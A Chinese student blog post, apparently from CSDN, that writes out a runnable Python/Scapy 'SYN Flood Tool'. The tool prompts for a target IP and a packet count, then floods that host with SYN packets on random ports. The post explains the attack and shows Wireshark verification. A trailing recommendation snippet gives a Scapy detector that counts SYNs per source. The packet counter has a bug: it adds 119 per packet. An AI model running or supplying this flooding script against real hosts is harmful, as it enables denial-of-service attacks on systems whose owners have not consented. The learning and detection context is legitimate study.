[笔记]使用Python的scapy库实现SYN洪水攻击

  • 前言

        我在实验过程中,要求使用多种工具实现SYN泛洪攻击,之前使用了kali Linux下的hping3实验SYN攻击,然后我最后了解到了Python也可以写脚本,因此我在这篇文章中写下我学习的过程。我使用的环境是VS Code。在安装好Python编译环境之后,首先我们要安装Scapy这个第三方库。然后编写代码,发送数据包再用wireshark抓包验证。在实验正式开始之前让我们先了解一下什么是SYN攻击。

  • 什么是SYN攻击

        SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

  • 代码实现

from scapy.layers.inet import *
#引入IP(),TCP()等函数
from scapy.all import *
import random
 
#生成随机的IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip
 
#生成随机端口
def randomPort():
    port=random.randint(1000,10000)
    return port
 
#syn-flood
def synFlood(count,dstIP):
    total=0
    print("Packets are sending ...")
    for i in range(count):
        #IPlayer
        srcIP='192.168.xxx.xxx'#此处为源ip地址,读者请自己填写
        dstIP=dstIP
        IPlayer = IP(src=srcIP,dst=dstIP)
        #TCPlayer
        srcPort=randomPort()
        TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")
        #发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total+=119
    print("Total packets sent: %i" % total)
 
#显示的信息
def info():
    print("#"*30)
    print("# Welcome to SYN Flood Tool  #")
    print("#"*30)
    #输入目标IP和端口
    dstIP = input("Target IP : ")
    return dstIP
 
if __name__ == '__main__':
    dstIP=info()
    count=int(input("Please input the number of packets:"))
    synFlood(count,dstIP)
  • 代码介绍

   1.Scapy库

        Scapy 是一个 Python 程序,它使用户能够发送、嗅探、剖析和伪造网络数据包。此功能允许构建可以探测、扫描或攻击网络的工具。换句话说,Scapy 是一个强大的交互式数据包操作程序。它能够伪造或解码多种协议的数据包,通过网络发送它们,捕获它们,匹配请求和回复等等。Scapy 可以轻松处理大多数经典任务,例如扫描、跟踪路由、探测、单元测试、攻击或网络发现。它可以替代 hping、arpspoof、arp-sk、arping、p0f 甚至 Nmap、tcpdump 和 tshark 的某些部分。

        由于Scapy是Python的第三方库,所以我们首先得通过pip安装这个库

       安装Scapy库

 (我已经安装完了所以再次安装显示Scapy已经准备就绪)

   2.功能介绍

        我编写了一个随机ip地址生成函数,这样可以在后面的实验中随机伪造发送方的ip地址(虽然最后没有用上)

#生成随机的IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip

        还有一个随机端口生成函数,用来向不同的端口发送数据包

#生成随机端口
def randomPort():
    port=random.randint(1000,10000)
    return port

        最最重要的,数据包发送函数,实现,源和目的ip地址都可以自由设定,源和目的端口都可以随机,数据包数目可以指定的数据包发送功能

#syn-flood
def synFlood(count,dstIP):#简化函数,只需要知道数据包的数量和目标ip就可以发送数据包啦
    total=0
    print("Packets are sending ...")
    for i in range(count):#循环发送数据包,每次固定源地址和目的地址每次都随机发送和接收方的端口
        #IPlayer
        srcIP='192.168.xxx.xxx'#此处为源ip地址,读者请自己填写
        dstIP=dstIP
        IPlayer = IP(src=srcIP,dst=dstIP)
        #TCPlayer
        srcPort=randomPort()
        TCPlayer = TCP(sport=srcPort, dport=randomPort(), flags="S")
        #发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total+=119
    print("Total packets sent: %i" % total)
  • 问题

        最开始我没有写下 from scapy.layers.inet import *这一段代码,导致我的IP(),TCP()函数始终报错。于是我查阅了Scapy的使用方法只要加上以上那一段就可以正常使用(具体原因没有细究)

  • 实验

可以看到实验成功的发送了SYN数据包

 抓包验证:(数据包的量和上面的代码对不上是因为上面的截图是我在实验完成后补写的)

         显而易见这次的实验并没有完全成功,虽然SYN的数据包构造成功了,但是接收方的回复却不正确,接收方始终回复的是[RST,ACK]数据包。这个问题困扰了我很久,我在做hping3实验的时候也遇到了同样的情况,希望得到大佬的指教!!

  • 总结

        这一篇笔记,记录了一次不算完全成功的实验过程。以后我也希望通过记笔记的形式向大家分享我的学习过程,巩固我的学习知识,理清我的学习思路,我会尽量详细的解释各种过程,让许多像我一样初入这样的领域的人得到很多细小问题上的支持。(最后 本文的代码有部分参考自网络,如有不妥之处还望大佬指正)

  • 1
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
可以使用 PythonScapy 实现网络嗅探,并检测 SYN Flood 攻击。具体实现步骤如下: 1. 导入 Scapy ```python from scapy.all import * ``` 2. 监听网络数据包,并过滤出 TCP 协议的数据包 ```python def packet_callback(packet): if packet.haslayer(TCP): # 在这里添加检测 SYN Flood 攻击的代码 pass sniff(prn=packet_callback, filter="tcp") ``` 3. 检测 SYN Flood 攻击 SYN Flood 攻击是指攻击者向目标主机发送大量的 SYN 报文,目的是占用目标主机的资源。因此,我们可以通过统计某个 IP 地址发送的 SYN 报文数量,来判断是否有 SYN Flood 攻击。 具体实现步骤如下: - 初始化一个字典,用于存储每个 IP 地址发送的 SYN 报文数量: ```python syn_packets = {} ``` - 每当收到一个 SYN 报文时,判断该报文是否为 SYN 报文,并统计该报文所属 IP 地址的 SYN 报文数量: ```python if packet[TCP].flags == "S": src_ip = packet[IP].src if src_ip not in syn_packets: syn_packets[src_ip] = 0 syn_packets[src_ip] += 1 ``` - 每隔一段时间(比如 10 秒),遍历字典中的所有 IP 地址,判断是否有 SYN Flood 攻击: ```python for src_ip, count in syn_packets.items(): if count > SYN_THRESHOLD: print(f"{src_ip} 发送了 {count} 个 SYN 报文,可能存在 SYN Flood 攻击!") ``` 完整代码如下: ```python from scapy.all import * import time # 设置 SYN Flood 阈值 SYN_THRESHOLD = 100 # 初始化一个字典,用于存储每个 IP 地址发送的 SYN 报文数量 syn_packets = {} # 处理每个数据包的回调函数 def packet_callback(packet): if packet.haslayer(TCP): # 判断是否为 SYN 报文 if packet[TCP].flags == "S": src_ip = packet[IP].src # 统计该 IP 地址发送的 SYN 报文数量 if src_ip not in syn_packets: syn_packets[src_ip] = 0 syn_packets[src_ip] += 1 # 每隔一段时间检测是否存在 SYN Flood 攻击 if int(time.time()) % 10 == 0: for src_ip, count in syn_packets.items(): if count > SYN_THRESHOLD: print(f"{src_ip} 发送了 {count} 个 SYN 报文,可能存在 SYN Flood 攻击!") # 监听网络数据包 sniff(prn=packet_callback, filter="tcp") ``` 当检测到 SYN Flood 攻击时,程序将会输出相应的警告信息。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值